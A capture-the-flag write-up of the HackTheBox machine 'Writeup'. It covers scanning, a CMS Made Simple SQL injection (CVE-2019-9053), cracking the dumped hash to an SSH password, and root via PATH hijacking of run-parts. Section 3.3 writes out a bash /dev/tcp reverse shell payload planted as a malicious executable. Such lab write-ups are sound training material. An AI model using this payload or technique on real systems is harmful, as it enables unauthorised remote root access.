Writeup is an easy-difficulty HackTheBox machine that hosts a vulnerable CMS Made Simple installation in a hidden directory. Initial access is gained by leveraging an unauthenticated SQL injection vulnerability (CVE-2019-9053) to dump salt and password hashes, which are then cracked to obtain SSH access. Local enumeration reveals that the user possesses write privileges to /usr/local/sbin through membership in the staff group. Privilege escalation to root is accomplished via PATH hijacking: placing a malicious executable named run-parts into /usr/local/sbin triggers arbitrary code execution as root whenever an SSH connection invokes the system's dynamic MOTD update scripts.
1. Initial Enumeration and Service Discovery
1.1 Port Scanning
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O writeup.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-17 01:33 -0400 Nmap scan report for writeup.htb (10.129.8.250) Host is up (0.48s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) | ssh-hostkey: | 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA) |_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-title: Nothing here yet. | http-robots.txt: 1 disallowed entry |_/writeup/ Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 5.14 - 6.8 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%) No exact OS matches for host (test conditions non-ideal). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.36 seconds
Based on the scan results,
- Port 22 is open and running OpenSSH 9.2p1
- Port 80 is open and running Apache 2.4.25 server. And the website has a robots.txt file that mentions an indexing-disallowed directory.
1.2 Directory Enumeration
Visiting the robots.txt file disclosed the existence of a hidden directory /writeup/.
```
# __
# _(\ |@@|
# (__/\__ \--/ __
# \___|----| | __
# \ }{ /\ )_ / _\
# /\__/\ \__O (__
# (--/\--) \__/
# _)( )(_
# `---''---`
# Disallow access to the blog until content is finished.
User-agent: *
Disallow: /writeup/The /writeup/ directory contains an incomplete homepage and links to some writeups.
Writeup article URLs have a ?page=ypuffy parameter that seems like it is the filename or the database row key. I tried multiple path traversal and SQL Injection payloads, but I was not able to exploit it.
1.3 CMS Identification
By inspecting the source code of the writeups, I discovered that it's using CMS Made Simple - Copyright (C) 2004-2019.
< meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." /> < meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> < !-- cms_stylesheet error: No stylesheets matched the criteria specified -->
2. Exploitation & Initial Access
2.1 SQL Injection (CVE-2019-9053)
I found that CMS Made Simple has a known vulnerability, CVE-2019-9053 (Unauthenticated SQL Injection). CVE-2019-9053 is a security flaw that is present in version 2.2.8 and earlier that allows unauthenticated SQL Injection attacks.
I found the exploit CMS Made Simple < 2.2.10 - SQL Injection in ExploitDB and a working exploit POC on GitHub that exposes the administrator password, username and email address.
[+] Salt for password found: 5a599ef579066807 [+] Username found: jkr [+] Email found: jkr@writeup.htb [+] Password found: 62def4866937f08cc13bab43bb14e6f7
2.2 Hash Cracking & SSH Access
Since the password hash is an MD5 hash with salt, I used hashcat to crack the password.
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 7.1+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 21.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
****************************
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 20 (md5($salt.$pass))
Hash.Target......: 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
*********************************
Started: Thu Sep 17 04:31:15 2026
Stopped: Thu Sep 17 04:31:43 2026I was able to use the cracked password to log in to the target machine as jkr and retrieve the user flag.
The authenticity of host 'writeup.htb (10.129.8.250)' can't be established. ED25519 key fingerprint is: SHA256:TRwEhcL3WcCSS2iITDucAKYtASZxNYORzfYzuJlPvN4 ************************************************************************** Last login: Wed Oct 25 11:04:00 2023 from 10.10.14.23 jkr@writeup:~$ whoami jkr jkr@writeup:~$ cat user.txt
3. Privilege Escalation - PATH Hijacking via SSH Motd
I downloaded LinPeas to enumerate the target machine and find any privilege escalation paths.
3.1 Permissions Audit
Linpeas flagged that user jkr is in the staff user group. Also, it pointed out that there is a cron job configured: /bin/run-parts --report /etc/cron.hourly.
Even though this is common in Linux, interestingly, some of the directories that it is running on are writable by the jkr user.
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && /bin/run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.monthly )
Even though /bin/run-parts --report /etc/cron.hourly is run by the root user, it is using the absolute path, meaning it is not exploitable.
3.2 Process Monitoring
I decided to download pspy64 to snoop on the processes running on the target machine and to see if any of the root processes are using the writable directories.
But there were no processes running as root using the writable directories.
run-parts is a common utility program that loops through a given directory and sequentially runs every file found inside it.
I decided to run pspy64 and SSH into the target machine as jkr again from another tab to see if it spawns any additional processes.
As I expected, it executed the run-parts command as the root user.
2026/09/17 07:45:13 CMD: UID=0 PID=7615 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 2026/09/17 07:45:13 CMD: UID=0 PID=7616 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
3.3 PATH Hijacking Vulnerability to Root
This new process as root is not using an absolute path and uses the PATH variable. The first directory it looks in, /usr/local/sbin, is writable by the jkr user.
This means that if I can create a malicious executable and rename it to run-parts and place it in the /usr/local/sbin directory, I can use this path-hijacking vulnerability to escalate privileges because the root user is going to execute my malicious executable the next time I log in via SSH.
jkr@writeup:~$ cat > /usr/local/sbin/run-parts <<'EOF' #!/bin/bash bash -i >& /dev/tcp/10.10.16.36/4444 0>&1 EOF jkr@writeup:~$ chmod +x /usr/local/sbin/run-parts
After setting up a reverse shell listener, I logged in as jkr using a new tab, and I was able to receive a reverse shell connection as root and retrieve the root flag.
listening on [any] 4444 ... connect to [10.10.16.36] from (UNKNOWN) [10.129.8.250] 38640 bash: cannot set terminal process group (7720): Inappropriate ioctl for device bash: no job control in this shell root@writeup:/# whoami whoami root root@writeup:/# cat /root/root.txt cat /root/root.txt
Congrats! We found both flags!
HTB Machine Completion